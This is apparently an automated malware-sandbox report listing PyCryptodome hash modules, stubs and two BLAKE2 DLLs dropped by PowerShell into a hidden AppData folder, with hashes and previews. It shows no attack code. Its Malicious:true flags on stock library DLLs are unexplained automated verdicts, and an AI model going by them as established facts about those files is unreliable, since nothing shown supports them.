              SHA1:DD49BD9504AFCB162C3589155FA01D521A768600
              SHA-256:7EEF366E028519327074AADF07FEF65FD87564DEAE82A1DE1E03634A928047AB
              SHA-512:6155A0F2DD3D2DF8F7E0002AFC1EE7877917AA7094EF7D1DBB0F0DEABCD44BECB498C5C0998186C2E09F1C394BF74DE6C526054D42A78D2F552A6E67C062E58C
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_256_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_256_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_256_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_256_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_256_Hash: .......digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_384.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6453
              Entropy (8bit):4.700607293143974
              Encrypted:false
              SSDEEP:
              MD5:98C4CAA0CC1DA8F19316CA87DCC258CB
              SHA1:E7C38A5E01D9670BA19D51D6157BB609B194E82A
              SHA-256:B804F3AB70381FA5B7140E10F95AB9D95BD62A445BDC7400FCC3DB44869B8AE1
              SHA-512:30424090DE374504F1CE50FD8DE0BACF9596F15F9E37C57564168E8640E9CA311A85249B1C41C770561524B460A482553A80B73871C0B75ACB91E5822154D7E7
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_384.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):624
              Entropy (8bit):4.938042917334959
              Encrypted:false
              SSDEEP:
              MD5:A889F6824941567ADFBD97E736E360AA
              SHA1:1C23C5A1FFB1F8D288974D55CE3C5AD2E6DD51BC
              SHA-256:D328A5327C257ACA3516C7C11B617D30D5E0C7C9915A32F4C6B3DDFE269DCF7F
              SHA-512:9CCF01936F3174D2EF90CC3B50631282F115D8BF952F4EA2AA4A2F7701C613D9A84DD9FAFB014F01689DDD938E22D258A071DADEBAE83A8376ECEDC6D11279A3
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_384_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_384_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_384_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_384_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_384_Hash: .......digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_512.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6305
              Entropy (8bit):4.697217083867846
              Encrypted:false
              SSDEEP:
              MD5:CECF1A897C1A3BB7B1E1D635D4B37A40
              SHA1:EE9D64CB0C064997FBBFBF9BF8B92C3969AA3CB7
              SHA-256:14062988382CAE40F806020CE67A33D9726DF2D23DEE63D00A99C592D3F2ACE0
              SHA-512:132AADB0D736D949AD5BAD8B93ED4C06001D5ED1F01F16DE70007698AE9C743C11A7FBA8A8F2C39A01EF1B69C07B6DECCCA1F633A31BBDAA3431FC963FE26E7F
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_512.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):624
              Entropy (8bit):4.9540685583606
              Encrypted:false
              SSDEEP:
              MD5:8356FEEC109E4373A23F69FC01C115B5
              SHA1:9825E1FC90E13C9A265835684C57B22C92BD372C
              SHA-256:5699B054358A0C556096C132C09C8B3052E5EFE815A26EDABC5AD5E896BF8E9C
              SHA-512:F9612E9C137858ECC00F2F6CB2E6564CEE149A8ED978B5552FA6CD1E89061BF395B37A92351ECB594F0D47ADD925BB53DBC573654A523CEE4E2F2D2789AAE2E5
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_512_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_512_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_512_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_512_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_512_Hash: .......digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA512.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7924
              Entropy (8bit):4.535718326603204
              Encrypted:false
              SSDEEP:
              MD5:F7EBB8B3E6EC44133C11F5B75F2AC0CF
              SHA1:4F0230A067019EF92DF555B66D7505BD6229E570
              SHA-256:F4346FEB42803D175A2B4CB2A45FE82882C426A67A64C12AC1D723268D3E7726
              SHA-512:B36AF52C1CD4EC732E1C3A7DB556BCCAF400C298416DE241C763153E784D101F11914D42FF1792513B54EDBBA2297BD49A0B2BEC91AC0AC180151C647F341FE0
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA512.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):644
              Entropy (8bit):4.856785452609936
              Encrypted:false
              SSDEEP:
              MD5:B3762738614E6E1B46387BD0F80C1608
              SHA1:99293AED186FBBBF4D26C3E3A9198F2969596722
              SHA-256:BB0E0DF4F3FFFB4A2B9EFE5B674D7407BBD248678B0BF2A44FF0AA07D247DBDA
              SHA-512:E3B64DDF98F09B098B52AB79D69AF3827A483E4EDA33200B91F87BEB7E37E434D9CB75170635AE509F69D7F328F6B0A9ED258E42410265CE10B263B118C4521A
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA512Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self,.. data: Optional[Buffer],.... truncate: Optional[str]) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA512Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA512Hash: .......def new(data: Optional[Buffer] = ...,.. truncate: Optional[str] = ...) -> SHA512Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHAKE128.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4890
              Entropy (8bit):4.812843153997009
              Encrypted:false
              SSDEEP:
              MD5:6D8138E2212AEA8C9815ABA5BEBD43D9
              SHA1:62A40C2E67FC652354E9A8B3126E77F9D759A174
              SHA-256:D4B807F0F64FE07BE95C7A7F40B4D35024C3A05770C942F9B25A8782B9DE90FB
              SHA-512:66DE5F2B988B9DD0A7D497B6BBBD2920859BC79A529A6200470B6EDB52D36BFEF55A2B51A0146BCC5B08FBDDD9529F9AFCEE1E2E8B86F1731BF6BAF90051484B
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHAKE128.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):450
              Entropy (8bit):4.960253129735369
              Encrypted:false
              SSDEEP:
              MD5:1D2E126B0EA263236F02A5B62DA5903D
              SHA1:BCA2F2DC2A69380180FFEACDB276A6CA7FFD2036
              SHA-256:FCF71DFFB424435A46138D3B0377F30E1DB2AA318600D6DAE7B123DF848D3EA2
              SHA-512:4B806AABF25A8D9A705E282EB11EE73500BC1CF71A6EBE59A35A732DE1F5CA0D960BAC124059EF85AF9A6E5A2023895D7CDB195A884A8161275D9BE237F0A518
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE128_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE128_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE128_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE128_XOF: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHAKE256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4892
              Entropy (8bit):4.816809610030539
              Encrypted:false
              SSDEEP:
              MD5:0B15BEEE639A9999E98C64F769F9133D
              SHA1:3D1366E4788CB51E655EC8C76AA3B7DB6FB98DF9
              SHA-256:3BE322B0801ABA422C870967EC82AF10958F370C944B3E6370EE8C2F7A1E7046
              SHA-512:B66693BFB0AAAD73F1BCEAE3DA2410EA53B3366734FDAC0985D7B0C0ACDC849BA98C2D9DA1A0C418FD1C9D757D9430C099F847E7E67B48443A3E55228ACFA0E1
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHAKE256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):450
              Entropy (8bit):4.960253129735369
              Encrypted:false
              SSDEEP:
              MD5:7A030ACE3463C718EAA115B061D5E0CE
              SHA1:0525426CE1A9ABE207F53E953EA8E272E423D512
              SHA-256:5FF0C2256DD9F35EB7BF58D07EDC5A27E73173221079006B1AF95D0B114863A4
              SHA-512:230109D6EAC483A3DFA0E268477D860AF0DB445D89EF5E39B32A9833CC85E8FBD610C88993CABB097A60630620539191A6AC9742DAD3A7FA141600C7AC4603D5
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE256_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE256_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE256_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE256_XOF: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TupleHash128.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4888
              Entropy (8bit):5.0581555982839435
              Encrypted:false
              SSDEEP:
              MD5:386FB9A133C912AF07687FA9D1EE193A
              SHA1:FCA1900C47A573551C1EE74694CB0D374C7B20C7
              SHA-256:36051EA4794AA6687E689974F315CE9CE9620EC1F9B1AB4C2F0F9C8099D87BBF
              SHA-512:1A92C554CABE3DBF6A013E685D6FB919B47A39BF2429795CA87CEC1C15405F386644F141B79923B6B79833E15ABBA02A211FA939CBB0749888ACBD304AB2AE45
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TupleHash128.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):688
              Entropy (8bit):4.533807558794474
              Encrypted:false
              SSDEEP:
              MD5:19A89FFFB5E19D2A439870AA97B56DF2
              SHA1:32377BCB0660A03F28324C68EF03E94D0239A1DD
              SHA-256:B5671E5E8FC4513C2E0C9F072C1A9C868656F0CD66783DC011FC4556C1BD2306
              SHA-512:466932A02E76056468E12E1984DD3EA0DE44A3544DEA95F19723BE2EBBD9887D177AB7B3F75BAAA74E74D154C396DA468AA8F5492917599154EAEF04F3546B19
              Malicious:false
              Reputation:unknown
              Preview:from typing import Any, Union, List, Tuple..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class TupleHash(object):.. digest_size: int.. def __init__(self,.... custom: bytes,.. cshake: ModuleType,.. digest_size: int) -> None: ..... def update(self, *data: Buffer) -> TupleHash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self,... digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .......def new(digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TupleHash256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2902
              Entropy (8bit):5.194127497375906
              Encrypted:false
              SSDEEP:
              MD5:CA7F63F5DC1A1059E168A5580E88B78B
              SHA1:4064F740C7E09083F8CF354BB24A56778D83D6A4
              SHA-256:96BB2970B54CC270DE193FB71155AFFBF54F9ACF21310AC4AD968893A478B3DF
              SHA-512:C259EF33FB4747529BF9496E3E78B9548279FDAE9BFE2E318FF8A7BFE13815500CBF4A31887A89D9DE21FFBB83897DCAC5F43AAA62C675A1A7473600B439BCCF
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TupleHash256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):149
              Entropy (8bit):4.609062935971047
              Encrypted:false
              SSDEEP:
              MD5:0C079EDD19DA6729069C7098599200CD
              SHA1:31985EE067F54DFCA6F334621CA9018D2A61DA15
              SHA-256:0B014A808207E4C2A6375DFD6ADE40C97B5802C8F9EA76748F333C1386C6704C
              SHA-512:5DFC7A622B54993F74F2848B595FDFCB33B63E43EDE31D384D4A635B179030EFC1222545607C8B816B90AC6FB273B8937B135F42B95AEB08AB906CF899027EB4
              Malicious:false
              Reputation:unknown
              Preview:from .TupleHash128 import TupleHash....def new(digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TurboSHAKE128.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3947
              Entropy (8bit):4.323340706359232
              Encrypted:false
              SSDEEP:
              MD5:B786224B4B79C69778DB52AC58F83E63
              SHA1:B2CCDF0809F838CFFF9C26D07857A01FE2F5AB8A
              SHA-256:512A0D196EFEDAB1E320041D54BFFBF7366C4D35EA95D7290732DB1FD8A946EA
              SHA-512:EA77F39AAC1E3EAB9966F45693591FE8F696929858D89329CB84B54D0C590A431C548188B003DF04DF513C3F33AFA2E67B30932CE5E981EF00A1B6B9D429BAD0
              Malicious:false
              Reputation:unknown
              Preview:from Crypto.Util._raw_api import (VoidPointer, SmartPointer,.. create_string_buffer,.. get_raw_buffer, c_size_t,.. c_uint8_ptr, c_ubyte)....from Crypto.Util.number import long_to_bytes..from Crypto.Util.py3compat import bchr....from .keccak import _raw_keccak_lib......class TurboSHAKE(object):.. """A TurboSHAKE hash object... Do not instantiate directly... Use the :func:`new` function... """.... def __init__(self, capacity, domain_separation, data):.... state = VoidPointer().. result = _raw_keccak_lib.keccak_init(state.address_of(),.. c_size_t(capacity),.. c_ubyte(12)) # Reduced number of rounds.. if result:.. raise ValueError("Error %d while instantiating TurboSHAKE".. % result).. self._state = SmartPointer(state.get()

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TurboSHAKE128.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):591
              Entropy (8bit):5.065116097079714
              Encrypted:false
              SSDEEP:
              MD5:B0223AB14FDA42D6811F55259F9BE663
              SHA1:409E32782D3A86B66CEBABFA703D72BD682C069A
              SHA-256:B7617049D0B2131180EA0B73AE8CAC73839A27D394BE6B4D9796F9D0198DE6B7
              SHA-512:4A1180FD51BFE2A50EB344A19EFB954C5071218C169F14AC7A86D72BC45B946A35E7CDC4A06E616A20948F235D501AD24B113F2B9ABF56D68F4100F0C2DE8410
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional..from typing_extensions import TypedDict, Unpack, NotRequired....Buffer = Union[bytes, bytearray, memoryview]....class TurboSHAKE(object):.... def __init__(self, capacity: int, domain_separation: int, data: Union[Buffer, None]) -> None: ..... def update(self, data: Buffer) -> TurboSHAKE : ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer]=None) -> TurboSHAKE: .......class Args(TypedDict):.. domain: NotRequired[int].. data: NotRequired[Buffer]....def new(**kwargs: Unpack[Args]) -> TurboSHAKE: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TurboSHAKE256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):779
              Entropy (8bit):4.819439474706594
              Encrypted:false
              SSDEEP:
              MD5:630FCFB160AFD4A4B095C35901777556
              SHA1:0F039C3A2C5205D2105A79B5EB2777884DC8E490
              SHA-256:AD79E152A2C83EE90AC61FF7245DF570673FBE28720D9DE8E07E2FDDBF0E51DB
              SHA-512:9ED88DA711066739EDB47EFB65755A57F9C18402A9AD5C112CF32BE13B97615C2C835A46C8E4E5CD89CBDB5EE6A9BE181A4CC42A1D6F4617F8AACB3C43F76878
              Malicious:false
              Reputation:unknown
              Preview:from .TurboSHAKE128 import TurboSHAKE....def new(**kwargs):.. """Create a new TurboSHAKE256 object..... Args:.. domain (integer):.. Optional - A domain separation byte, between 0x01 and 0x7F... The default value is 0x1F... data (bytes/bytearray/memoryview):.. Optional - The very first chunk of the message to hash... It is equivalent to an early call to :meth:`update`..... :Return: A :class:`TurboSHAKE` object.. """.... domain_separation = kwargs.get('domain', 0x1F).. if not (0x01 <= domain_separation <= 0x7F):.. raise ValueError("Incorrect domain separation value (%d)" %.. domain_separation).. data = kwargs.get('data').. return TurboSHAKE(64, domain_separation, data=data)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\TurboSHAKE256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):318
              Entropy (8bit):5.138819601387305
              Encrypted:false
              SSDEEP:
              MD5:0F8CE87AD72ECACADED5EB6869C0C063
              SHA1:4C8EBDA5C1826749B747BF268036DC11A1FD9CC3
              SHA-256:86DEA501F8ED56BAE7652415243B38845AB1C94A1E4AD0E737A98A37A80235EA
              SHA-512:8CD3AF34C3FD94E6DBE15575BB3AC6C84AFBAF14067066E53EEE3A727866C5E626E323C6ED4736186E21056D4A27EF57184DFAE378A9B8E53210F340051649ED
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union..from typing_extensions import TypedDict, Unpack, NotRequired....from .TurboSHAKE128 import TurboSHAKE....Buffer = Union[bytes, bytearray, memoryview]....class Args(TypedDict):.. domain: NotRequired[int].. data: NotRequired[Buffer]....def new(**kwargs: Unpack[Args]) -> TurboSHAKE: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):13312
              Entropy (8bit):5.577128040106931
              Encrypted:false
              SSDEEP:
              MD5:924B83B89DCEFB7C6DCB44A7D58F8EE2
              SHA1:15A755D52961B5DBC38C2DB1346089717B5E107C
              SHA-256:49DC3F64559A5EC163034EE29577EB45A242A5D2EFD6B9364110D26E8AE325FD
              SHA-512:C0F9687DFB8A2EDEB227C00D07478F54B66692F8110FA146B00EB345D450976C741CC0178D919386A5A117E621A7A0A1BAFC3744102A3E6D2CB5FFEDE20B2EAA
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...4..e...........!...%............N........0...............................p............@..........................6.......6..d....P.......................`..T...p2...............................1..@............0..x............................text............................... ..`.rdata..4....0......."..............@..@.data........@......................@....rsrc........P.......0..............@..@.reloc..T....`.......2..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):11264
              Entropy (8bit):5.620531181419531
              Encrypted:false
              SSDEEP:
              MD5:48E08209729FD94B37B95B035D2BD181
              SHA1:0DF8E560290E36888691FF5750F3802A58687FA1
              SHA-256:1DBAE6101BBEB5AAAB8790536FC6A824C979C5C5E19F16A73AA8853FF3CF1C0A
              SHA-512:8502D032D030B79AAE62F2A45222757CDFA721EC8E350C1E5DA66A5D561C675F72EB149F9772379CC657F6B6C2EE3D4D57F1660EEB58BCAE77BE038060697028
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...4..e...........!...%............N........0...............................p............@..........................5.......6..d....P.......................`..X...P2...............................1..@............0..x............................text............................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc..X....`.......*..............@..B................................................................................................................................................................................................................................................................................................

